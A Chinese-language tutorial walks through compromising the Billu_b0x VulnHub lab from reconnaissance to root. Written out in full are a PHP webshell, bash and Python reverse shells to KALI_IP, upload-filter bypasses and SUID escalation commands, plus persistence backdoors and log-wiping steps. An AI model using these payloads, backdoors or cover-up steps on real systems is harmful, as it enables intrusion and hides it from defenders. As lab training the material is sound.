Billu_b0x靶机渗透测试实战:从信息收集到权限提升完整指南
1. 项目概述:为什么选择Billu_b0x作为渗透测试的“新手村”?
如果你刚刚接触渗透测试,或者已经学了一些Kali Linux的基础命令,但面对一个完整的靶机还是感觉无从下手,那么Billu_b0x绝对是你理想的“第一战”。这个靶机在VulnHub上被标记为“初学者”级别,但它绝不是那种一键就能拿下的“Hello World”。它巧妙地融合了信息收集、Web应用漏洞、文件包含、数据库注入以及权限提升等多个核心环节,几乎覆盖了渗透测试标准流程(PTES)的前半部分。更重要的是,它模拟了一个真实但又不那么复杂的Web应用环境,让你能在一个相对安全、可控的沙箱里,把书本上的理论变成肌肉记忆。
我选择在VMware Workstation里搭建这个环境,原因很简单:稳定、隔离、可快照。对于新手来说,最怕的就是把宿主机搞崩,或者一次操作失败后需要从头再来。VMware的快照功能简直就是“后悔药”,你可以在信息收集后、漏洞利用前、提权成功后分别保存一个快照,随时回退到任意阶段重新尝试,学习成本直线下降。而Kali Linux作为渗透测试的“瑞士军刀”,其预装的工具链能让你专注于攻击逻辑本身,而不是费劲地去配置环境。这次实战,我们不只追求拿到那个最终的“root”或“shell”,更重要的是理解每一步操作背后的“为什么”——为什么用这个工具?为什么这个参数有效?为什么这里会出错?我会把我自己踩过的坑、绕过的弯,以及那些只有亲手做过才会知道的细节,毫无保留地分享出来。
2. 环境搭建与网络配置:构建稳固的攻防实验室
工欲善其事,必先利其器。一个稳定、隔离的测试环境是安全研究的前提,任何在真实网络中的未授权测试都是非法且危险的。
2.1 VMware虚拟机安装与基础配置
首先,你需要从VMware官网下载并安装VMware Workstation Pro。安装过程是图形化的,跟着向导走即可,这里不赘述。安装完成后,我们重点讲几个对后续渗透测试至关重要的配置。
网络适配器模式选择:NAT模式创建虚拟机时,网络连接我强烈推荐使用“NAT模式”。这是新手最容易上手且安全的模式。
- 工作原理:你的靶机和Kali虚拟机就像连接在同一个虚拟路由器后面,它们可以互相通信,也可以通过宿主机的网络出口访问互联网(比如Kali需要更新工具库),但外部网络无法直接访问到你的虚拟机。这完美模拟了一个内部网络环境。
- 为什么不用桥接模式?桥接模式会让你的虚拟机直接暴露在宿主机所在的物理局域网中,获得一个独立的IP。如果你的家庭或公司网络有安全设备,可能会触发警报。而且,NAT模式下的IP段通常是固定的(如
192.168.xxx.xxx),更容易记忆和配置。 - 配置要点:在VMware的“编辑” -> “虚拟网络编辑器”中,你可以查看和配置NAT网络的子网网段(例如
192.168.80.0)。记住这个网段,后续我们Kali和靶机的IP都会落在这个范围内。
快照管理:你的时光机这是VMware最强大的功能之一。我建议你建立三个关键快照:
- 纯净快照:在安装完Kali和靶机系统,但未进行任何配置和攻击之前创建。这是你的“出厂设置”。
- 信息收集后快照:在完成对靶机的扫描、端口探测、目录枚举之后创建。如果后续的漏洞利用搞乱了靶机状态,可以快速回退到这里,而无需重新扫描。
- GetShell后快照:在成功获得一个初始立足点(例如www-data权限的shell)后创建。这样,你可以反复练习权限提升的技巧,而不用重走前面的漫漫长路。
2.2 Kali Linux 2023.x 安装与优化
从Kali官网下载最新的ISO镜像,在VMware中新建虚拟机并加载它。安装过程选择“图形化安装”会更友好。有几个关键步骤需要注意:
- 磁盘分区:对于学习用途,直接使用“向导 - 使用整个磁盘”即可,不需要手动复杂分区。
- 软件选择:在“选择软件”环节,确保“Kali Linux 默认”被选中,这会安装包括Metasploit、Nmap、Burp Suite等所有核心工具。如果磁盘空间紧张,可以取消“Kali Linux 大礼包”,但建议新手保持默认。
- 用户设置:务必记住你设置的非root用户密码。安装完成后,系统会提示你用这个用户登录。在终端中,你可以使用
sudo su命令切换到root权限进行操作。
安装后的首要优化:更换国内软件源刚安装好的Kali,默认软件源在国外,更新和安装工具速度极慢,甚至经常失败。第一步就是换源。
# 备份原有源列表 sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak # 使用nano或vim编辑源列表,这里以阿里云源为例 sudo nano /etc/apt/sources.list将文件内容替换为(以Kali 2023为例):
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib保存退出后,执行更新:
sudo apt update && sudo apt upgrade -y这个过程会更新系统所有软件包,需要一些时间。完成后,你的Kali就“健步如飞”了。
2.3 Billu_b0x靶机下载与导入
Billu_b0x的OVA文件可以从VulnHub官网下载。下载后,在VMware中点击“文件” -> “打开”,选择下载的.ova文件。导入时,建议将虚拟机存储位置改到一个空间充足的磁盘。
一个关键避坑点:网络适配器设置导入靶机后,务必检查并确保其网络适配器也设置为“NAT模式”,并且和Kali虚拟机在同一个自定义的NAT网络中(在虚拟网络编辑器中查看)。只有这样,它们才能处于同一个网段,互相发现。
启动与首次登录启动Billu_b0x靶机。它通常是一个无图形界面的Linux系统,启动后停留在登录提示符。你不需要知道它的登录密码,我们的目标就是通过外部渗透来获取访问权限。你只需要知道它已经运行起来了。在虚拟机窗口里,你可以看到它启动时可能显示的IP地址信息,但更可靠的方法是从Kali里去发现它。
3. 信息收集:像侦探一样描绘目标轮廓
渗透测试中,信息收集往往决定了后续攻击的效率和成功率。这一步的目标是回答:目标是谁?它开放了哪些门(端口)?门上挂着什么牌子(服务)?牌子后面有什么房间(目录)?
3.1 网络发现:找到靶机的IP地址
由于我们和靶机都在同一个NAT网络,首先需要发现靶机的IP。在Kali终端中,最常用的工具是netdiscover或nmap扫描整个网段。
方法一:使用netdiscover进行ARP扫描
sudo netdiscover -r 192.168.80.0/24这里的192.168.80.0/24需要替换成你在VMware虚拟网络编辑器中看到的NAT网段。netdiscover通过发送ARP请求来发现活跃主机,速度非常快。在输出结果中,你会看到除了你的Kali(和宿主机)之外的IP地址,那个很可能就是Billu_b0x。记下这个IP,假设为192.168.80.130。
方法二:使用nmap进行Ping扫描
sudo nmap -sn 192.168.80.0/24-sn参数表示只进行主机发现(Ping扫描),不扫描端口。结果同样会列出在线主机。
注意:有时靶机可能禁用了Ping响应,但ARP扫描依然有效。如果一种方法没找到,可以尝试另一种。
3.2 端口与服务探测:摸清所有入口
找到IP后,下一步是进行全面的端口扫描,看看靶机开放了哪些服务。我们使用Nmap的sV(版本探测)和sC(默认脚本扫描)参数来获取详细信息。
sudo nmap -sV -sC -p- 192.168.80.130 -oN nmap_scan.txt-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行更深入的探测。-p-: 扫描所有65535个端口(全端口扫描)。对于CTF靶机,有时关键服务会开在非常规端口。-oN nmap_scan.txt: 将扫描结果以标准格式输出到文件,方便后续查看。
扫描结果分析与预期对于Billu_b0x,典型的扫描结果会显示开放了以下端口:
- 80/tcp (http): 运行着一个Web服务器(通常是Apache)。这是我们的主攻方向。
- 22/tcp (ssh): 运行着SSH服务。这通常是权限提升或持久化访问的通道,但初始攻击往往从Web入手。
- 可能还有其他端口,但80端口是突破口的关键。
3.3 Web应用信息收集:从首页到后台
确定80端口开放后,我们转向Web渗透。首先用浏览器直接访问http://192.168.80.130,看看是什么网站。
目录与文件枚举网站首页可能只是一个简单的登录页面或介绍页面。真正的漏洞往往隐藏在未链接的目录和文件中。我们需要使用工具进行暴力枚举。
使用Gobuster:这是目前速度很快的一款目录爆破工具。
gobuster dir -u http://192.168.80.130 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -o gobuster_scan.txt-u: 目标URL。-w: 指定字典文件。dirb/common.txt是Kali自带的常用目录字典。-x: 指定尝试的文件后缀名。对于PHP靶机,php后缀至关重要。-o: 输出结果到文件。
使用Dirb:另一款经典工具,有时能发现Gobuster遗漏的内容。
dirb http://192.168.80.130 /usr/share/wordlists/dirb/common.txt -o dirb_scan.txt
分析枚举结果仔细查看扫描输出文件。对于Billu_b0x,你可能会发现一些关键目录,例如:
/phpmyadmin/: 数据库管理后台。这是非常常见的攻击面。/add.php,/show.php,/index.php: 网站的功能页面。/images/,/css/,/js/: 静态资源目录,通常价值不大。/robots.txt: 这个文件有时会泄露敏感目录。务必访问查看。/test/或/backup/: 可能存在备份文件或测试页面。
手动浏览与观察工具扫描的同时,一定要手动点击网站的每一个功能。尝试登录、注册、搜索、上传等操作。用浏览器开发者工具(F12)查看网络请求和响应头,关注:
- Cookie和Session:是否有明显的标识(如
PHPSESSID)? - 参数:URL中的参数(如
?id=1)和表单提交的参数,这些都是潜在的注入点。 - 错误信息:尝试输入一些异常数据(如单引号
‘),看是否会返回数据库错误,这直接提示存在SQL注入漏洞。 - 注释和源码:查看网页HTML源码,开发者有时会在注释里留下账号密码或提示信息。
4. 漏洞挖掘与利用:突破边界,获取初始访问
信息收集完毕后,我们手头有了目标IP、开放的Web服务、一系列可能的目录和页面。现在,需要像拼图一样,把这些信息组合起来,找到那个最脆弱的点。
4.1 Web入口点测试:SQL注入与文件包含
根据对Billu_b0x的普遍认知,其突破口往往在index.php或show.php这类带参数的页面。
寻找SQL注入点访问http://192.168.80.130/index.php或类似页面,它可能有一个登录框。尝试经典的SQL注入Payload:
- 用户名输入:
admin' or '1'='1 - 密码输入:
anything或者尝试万能密码:admin' #如果成功绕过登录,说明存在SQL注入漏洞。但Billu_b0x的登录点可能做了防护。
更常见的突破口:文件包含(LFI)在枚举目录时,你可能发现一个类似http://192.168.80.130/index.php?page=xxxx的URL。page参数很可能用于包含本地文件。这就是本地文件包含漏洞。
- 基础测试:尝试包含系统文件。
如果页面上显示了http://192.168.80.130/index.php?page=/etc/passwd/etc/passwd文件的内容(列出了系统用户),那么LFI漏洞确认存在。 - 利用PHP封装器:PHP的
php://filter封装器可以读取PHP文件的源码,这对于审计代码逻辑至关重要。
这个Payload会以Base64编码的形式返回http://192.168.80.130/index.php?page=php://filter/convert.base64-encode/resource=index.phpindex.php的源代码。你需要将返回的一长串Base64字符串解码(在Kali终端可以用echo “编码字符串” | base64 -d)。 - 审计源码:通过LFI下载关键PHP文件的源码,如
config.php,connection.php,add.php等。在这些文件中,你极有可能发现数据库的连接密码、其他功能的逻辑缺陷,甚至是新的可利用参数。
4.2 数据库攻防:利用phpMyAdmin获取凭证
在目录枚举中发现的/phpmyadmin/目录是另一个黄金入口。直接访问http://192.168.80.130/phpmyadmin/。
默认凭据尝试尝试一些常见的默认用户名/密码组合:
root/rootroot/空密码admin/adminphpmyadmin/phpmyadmin对于Billu_b0x,有很大概率可以使用root用户和空密码直接登录。
登录后操作一旦进入phpMyAdmin,你就拥有了对数据库的完全控制权。
- 查看数据库:左侧会列出所有数据库,通常有一个与网站同名的数据库(如
billu)。 - 查看表:点击进入该数据库,查看里面的表。寻找类似
users,admin,auth,customer这样的表名。 - 提取凭据:浏览这些表的内容。你很可能找到网站管理员的用户名和密码。密码通常是MD5哈希值。
- 识别哈希:MD5哈希是32位十六进制字符串(如
e10adc3949ba59abbe56e057f20f883e对应密码123456)。 - 破解哈希:将找到的哈希值复制出来,到在线MD5解密网站(如cmd5.com)或使用Kali的
hashcat工具进行破解。如果密码强度不高,很快就能得到明文。
- 识别哈希:MD5哈希是32位十六进制字符串(如
4.3 突破认证:利用获取的凭证登录后台
现在,你手头可能有了从数据库里找到的明文密码,或者通过LFI读取配置文件找到的密码。回到网站的登录页面(可能是/admin/、/login.php或首页),使用找到的用户名和密码尝试登录。
登录成功后的观察成功进入后台后,不要急于庆祝。仔细浏览后台的每一个功能模块:
- 文件上传:有没有可以上传文件的地方?这是获取Webshell的绝佳途径。
- 系统设置/配置:可能包含数据库密码、绝对路径等敏感信息。
- 用户管理:可能允许添加新用户或修改权限。
- 命令执行/ Ping:有些后台提供“网络诊断”功能,可以执行系统命令(如
ping、traceroute),这可能是命令注入点。
对于Billu_b0x,后台很可能存在一个文件上传功能,并且对上传文件的类型检查不严格。
5. 获取Shell:上传Webshell与连接控制
拿到后台权限后,获取一个可交互的Shell是建立持久控制的关键一步。文件上传漏洞是实现这一目标的经典方式。
5.1 制作与上传Webshell
什么是Webshell?Webshell是一段被上传到Web服务器目录下的脚本代码(如PHP、JSP、ASP),攻击者可以通过Web请求(访问特定URL)来远程执行服务器端的命令。
制作PHP Webshell在Kali上,最简单的Webshell就是一句话木马。创建一个文本文件,命名为shell.php,内容如下:
<?php system($_GET[‘cmd’]); ?>这段代码的意思是,执行通过URL参数cmd传递过来的系统命令。例如,访问http://靶机IP/shell.php?cmd=id,就会在页面上返回执行id命令的结果。
绕过上传限制后台的上传功能通常会做检查:
- 前端检查:通过JavaScript检查文件后缀名。直接在浏览器中禁用JavaScript即可绕过,或者使用Burp Suite拦截修改请求。
- 后端检查:
- 黑名单过滤:禁止上传
.php,.php5,.phtml等。可以尝试其他PHP可解析的后缀,如.php3,.php4,.pht,.phps,或者大小写混合如.Php。 - MIME类型检查:检查HTTP请求头中的
Content-Type。上传时,用Burp Suite将其改为image/jpeg或text/plain。 - 文件内容检查:检查文件开头是否有
<?php等标签。可以在Webshell代码前添加图片的文件头(GIF89a)或文本注释来绕过,或者使用混淆编码。
- 黑名单过滤:禁止上传
实操上传在Billu_b0x的后台上传点,选择制作好的shell.php文件进行上传。同时,打开Burp Suite,开启代理拦截功能。
- 在浏览器中配置代理指向Burp(如127.0.0.1:8080)。
- 点击上传按钮,Burp会拦截到POST请求。
- 在Burp的Proxy -> Intercept标签页下,查看被拦截的请求。找到上传文件的部分,你可以尝试:
- 修改文件名:
shell.php->shell.php.jpg或shell.pHp。 - 修改Content-Type:
application/x-php->image/jpeg。
- 修改文件名:
- 点击“Forward”放行请求,观察服务器的响应。如果返回了文件保存的路径(如
uploads/shell.php),则上传成功。
5.2 验证与执行命令
在浏览器中访问上传的Webshell文件,例如http://192.168.80.130/uploads/shell.php?cmd=whoami。 如果页面显示了当前Web服务的运行用户(通常是www-data),恭喜你,你已经成功在目标服务器上执行了命令,获得了非特权Shell的访问能力。
升级到交互式Shell通过URL传递命令的Webshell功能有限,输出格式也不友好。我们需要一个全功能的、交互式的Shell。
- 使用Netcat监听:在Kali上打开一个终端,监听一个端口。
nc -lvnp 4444-l监听,-v详细输出,-n不解析域名,-p指定端口。 - 通过Webshell反弹Shell:访问Webshell,执行一个能连接到Kali并启动Shell的命令。Linux下最常用的是
bash反弹。
注意:将http://靶机IP/uploads/shell.php?cmd=bash -c ‘bash -i >& /dev/tcp/KALI_IP/4444 0>&1’KALI_IP替换为你Kali虚拟机的真实IP地址(用ip a命令查看)。这个命令的意思是,在靶机上启动一个bash,将其标准输入、输出、错误都重定向到与Kali的TCP连接上。 - 接收Shell:如果命令执行成功,你会在Kali的Netcat监听终端看到连接建立,并出现一个命令行提示符(如
www-data@billu:/var/www/html/uploads$)。现在,你就获得了一个反向的、交互式的Shell。
重要避坑技巧:如果上述bash反弹命令失败,可能是靶机系统没有
/dev/tcp这个特殊设备,或者防火墙限制。可以尝试其他方法:
- 使用Python:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“KALI_IP”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’- 使用Perl/PHP/Netcat:都有相应的单行反弹Shell代码。多准备几种Payload是实战中的好习惯。
6. 权限提升:从www-data到root
拿到www-data用户的Shell只是万里长征第一步。这个用户权限很低,无法查看敏感文件(如/etc/shadow),无法安装软件,通常也无法进行横向移动。我们需要将权限提升到root,即系统的最高管理员。
6.1 信息收集:为提权做准备
在反弹的Shell中,首先进行系统信息收集,寻找提权线索。
# 查看当前用户和权限 id whoami sudo -l # 非常重要!查看当前用户可以以root身份无需密码运行哪些命令 # 查看系统内核版本 uname -a cat /etc/issue cat /proc/version # 查看安装了哪些软件,特别是开发工具、语言环境 dpkg -l | grep -E ‘python|perl|gcc|g++|make|ruby|php|java’ # Debian/Ubuntu rpm -qa | grep -E ‘python|perl|gcc’ # CentOS/RHEL # 查看计划任务 crontab -l ls -la /etc/cron* /var/spool/cron/ # 查看SUID/SGID文件(重点!) find / -perm -u=s -type f 2>/dev/null find / -perm -g=s -type f 2>/dev/null # 查看可写的敏感文件或目录 find / -writable -type d 2>/dev/null | grep -v proc | grep -v sys find / -perm -o=w -type f 2>/dev/null | grep -v proc | grep -v sys # 查看网络连接和进程 netstat -antup ps aux6.2 利用SUID二进制文件提权
SUID(Set User ID)是一种特殊的文件权限。当一个具有SUID权限的可执行文件被运行时,它会以文件所有者的身份执行,而不是执行者。如果find,vim,bash,cp,nmap等命令被设置了SUID且属于root,就可能被滥用。
经典案例:利用find命令提权如果在信息收集中发现/usr/bin/find具有SUID权限(-rwsr-xr-x中的s):
www-data@billu:/$ find /etc/passwd -exec /bin/bash -p \;这个命令会以root权限启动一个bash shell(-p参数用于保留特权)。执行后,输入whoami,如果返回root,则提权成功。
其他SUID利用方法
- nmap(旧版本):如果安装了旧版nmap(如2.02-5.21),它有一个交互模式可以逃逸到shell。
nmap --interactive !sh - vim/vi:如果vim有SUID权限,可以在编辑文件时执行系统命令。
vim -c ‘:!/bin/bash’ - bash:如果bash本身有SUID权限,直接运行
bash -p即可。
6.3 利用内核漏洞提权
如果系统内核版本较旧,可能存在公开的本地提权漏洞。使用uname -a查看内核版本,然后在Kali上搜索对应的漏洞利用代码(Exploit)。
- 在Kali上查找Exploit:可以使用
searchsploit工具。
将# 在Kali的终端中 searchsploit linux kernel 3.13.0 ubuntu local privilege escalation3.13.0和ubuntu替换成靶机系统的内核版本和发行版。 - 复制Exploit到靶机:找到合适的Exploit后,需要将其传输到靶机上。由于靶机可能没有网络,常用方法是在Kali上启动一个HTTP服务,然后从靶机Shell里下载。
- Kali上:
python3 -m http.server 8000(在Exploit所在目录执行)。 - 靶机Shell里:
wget http://KALI_IP:8000/exploit.c
- Kali上:
- 编译与执行:Exploit通常是C语言代码,需要在靶机上编译。
如果编译成功且漏洞存在,执行后通常就会获得root shell。gcc exploit.c -o exploit chmod +x exploit ./exploit
提权注意事项:
- 顺序尝试:先检查
sudo -l,这是最干净的方式。然后检查SUID文件,最后再尝试内核漏洞。内核漏洞利用可能造成系统不稳定甚至崩溃。- 备份意识:在尝试具有破坏性的Exploit前,最好回滚到“GetShell后快照”。
- 理解原理:不要只满足于运行脚本。尝试理解每个提权方法的原理,比如SUID为什么危险,内核漏洞利用了哪个CVE。
7. 后渗透与痕迹清理(可选)
在CTF或授权测试中,获取root权限并读取/root/目录下的flag文件(通常是proof.txt或root.txt)就算任务完成。但在一个更完整的渗透测试思维中,我们还需要考虑如何保持访问和清理痕迹。
维持访问
- 添加后门用户:在
/etc/passwd文件中添加一个具有root权限的用户。
这样可以使用用户名echo “backdoor::0:0:root:/root:/bin/bash” >> /etc/passwdbackdoor,无需密码,直接以root身份登录SSH。 - 创建SSH密钥:将你的公钥添加到
/root/.ssh/authorized_keys文件中,实现免密SSH登录。 - 安装Web后门:在Web目录的隐蔽位置放置一个更复杂的Webshell。
清理痕迹
- 清除命令历史:清除当前用户的命令历史记录。
history -c # 清除内存中的历史 rm ~/.bash_history # 删除历史记录文件 - 清除日志:删除或篡改记录了你攻击行为的日志文件,如
/var/log/auth.log,/var/log/apache2/access.log,/var/log/apache2/error.log等。使用sed或直接echo ‘’ > logfile进行清理。 - 注意时间戳:修改文件会更新其时间戳(mtime)。更高级的清理需要使用
touch命令将时间戳改回原样,但这在CTF中通常不需要。
8. 常见问题与排查技巧实录
在这一部分,我汇总了在整个Billu_b0x渗透过程中,我自己和学员们最常遇到的“坑”,以及排查思路。
问题1:Nmap扫描不到靶机IP。
- 排查:
- 确认两台虚拟机(Kali和Billu_b0x)都已启动。
- 在VMware中,分别检查两台虚拟机的网络适配器设置,确保都是NAT模式,并且连接到同一个网络(如“VMnet8”)。
- 在Kali中,用
ip a命令查看自己的IP,确认其网段(如192.168.80.128)。然后用ping命令测试网关(通常是192.168.80.2)和广播地址(192.168.80.255)是否通。 - 在Billu_b0x虚拟机启动时,注意看屏幕上是否有打印IP地址。也可以尝试在Billu_b0x的登录界面(即使你不知道密码)尝试输入
ip a命令,有些系统允许在登录前查看网络信息。 - 关闭宿主机的防火墙(临时)和VMware的虚拟网络防火墙设置。
问题2:目录爆破(Gobuster/Dirb)结果为空或很少。
- 排查:
- 字典问题:
common.txt可能不够全面。尝试使用更大的字典,如/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt。 - 状态码过滤:Gobuster默认会显示所有状态码。有些目录返回403(禁止访问)或302(重定向),它们也是存在的。使用
-s参数指定状态码:gobuster dir ... -s 200,204,301,302,307,403。 - 速率限制:目标网站可能有请求频率限制。使用
-t参数减少线程数,如-t 10。 - 路径问题:如果网站不是根目录,需要指定正确的URL路径。
- 字典问题:
问题3:phpMyAdmin可以登录,但找不到网站数据库或用户表。
- 排查:
- 登录phpMyAdmin后,注意看左侧数据库列表。可能数据库名不是常见的
billu,尝试点击每一个数据库查看。 - 使用SQL命令直接查找。在phpMyAdmin的SQL标签页执行:
SHOW DATABASES; USE 数据库名; SHOW TABLES; SELECT * FROM 表名; - 表名可能不是
users,尝试admin,login,customer,auth,tbl_user等。 - 密码可能不是MD5,可能是其他哈希(如SHA1)甚至是明文。观察字段值的格式。
- 登录phpMyAdmin后,注意看左侧数据库列表。可能数据库名不是常见的
问题4:文件上传成功,但访问时返回403、404或空白页。
- 排查:
- 路径错误:确认你访问的URL路径和上传成功后返回的路径完全一致。注意大小写。
- 解析失败:你上传的文件后缀可能没有被Web服务器(如Apache)配置为可执行。尝试
.php,.php5,.phtml,.php7等多种后缀。查看Apache配置文件(/etc/apache2/apache2.conf或/etc/apache2/sites-enabled/000-default.conf)中的AddType指令。 - 代码错误:你的Webshell代码可能有语法错误,或者被WAF/过滤机制拦截。尝试最简单的
<?php phpinfo(); ?>测试PHP是否能够解析。 - 权限问题:上传的文件可能没有执行权限。在Shell中尝试
chmod +x shell.php(如果能有办法执行命令的话)。
问题5:反弹Shell命令执行了,但Kali的Netcat没有收到连接。
- 排查:
- IP和端口错误:这是最常见的原因。再三确认Kali的IP是否正确(用
ip a在Kali上看),确认Netcat监听的端口是否和命令中的一致。 - 命令语法错误:特别是使用
bash -c和重定向符号时,引号容易出错。建议先将整个反弹命令在Kali本地测试:bash -c ‘bash -i >& /dev/tcp/127.0.0.1/4444 0>&1’,同时在另一个终端用nc -lvnp 4444监听自己。 - 靶机环境缺失:靶机可能没有
/dev/tcp,或者bash版本不支持。换用Python、Perl、PHP或Netcat的反弹命令。 - 出站限制:靶机服务器可能有防火墙规则,禁止向外发起连接到特定端口。尝试换一个高端口(如
44444)。 - 编码问题:通过URL传递的复杂命令中的特殊字符(如
&,>,<,空格)需要URL编码。在浏览器地址栏直接输入时尤其要注意。更稳妥的方式是使用Burp Suite的Repeater模块,或者将命令写入一个脚本文件然后通过Webshell执行该脚本。
- IP和端口错误:这是最常见的原因。再三确认Kali的IP是否正确(用
整个Billu_b0x的渗透流程走下来,你会发现它就像一本精心设计的渗透测试教科书,每一步都引导你去运用一个核心技能。从信息收集到漏洞利用,再到提权,环环相扣。我强烈建议你在完全掌握这个靶机后,不要满足于一种方法,尝试用不同的路径去达成目标,比如不通过phpMyAdmin,只利用LFI漏洞是否能拿到Shell?这才是真正锻炼你解决问题能力的开始。记住,工具和命令是死的,渗透测试的思维是活的。每一次“踩坑”和“排坑”的过程,都比顺利通关更能让你成长。
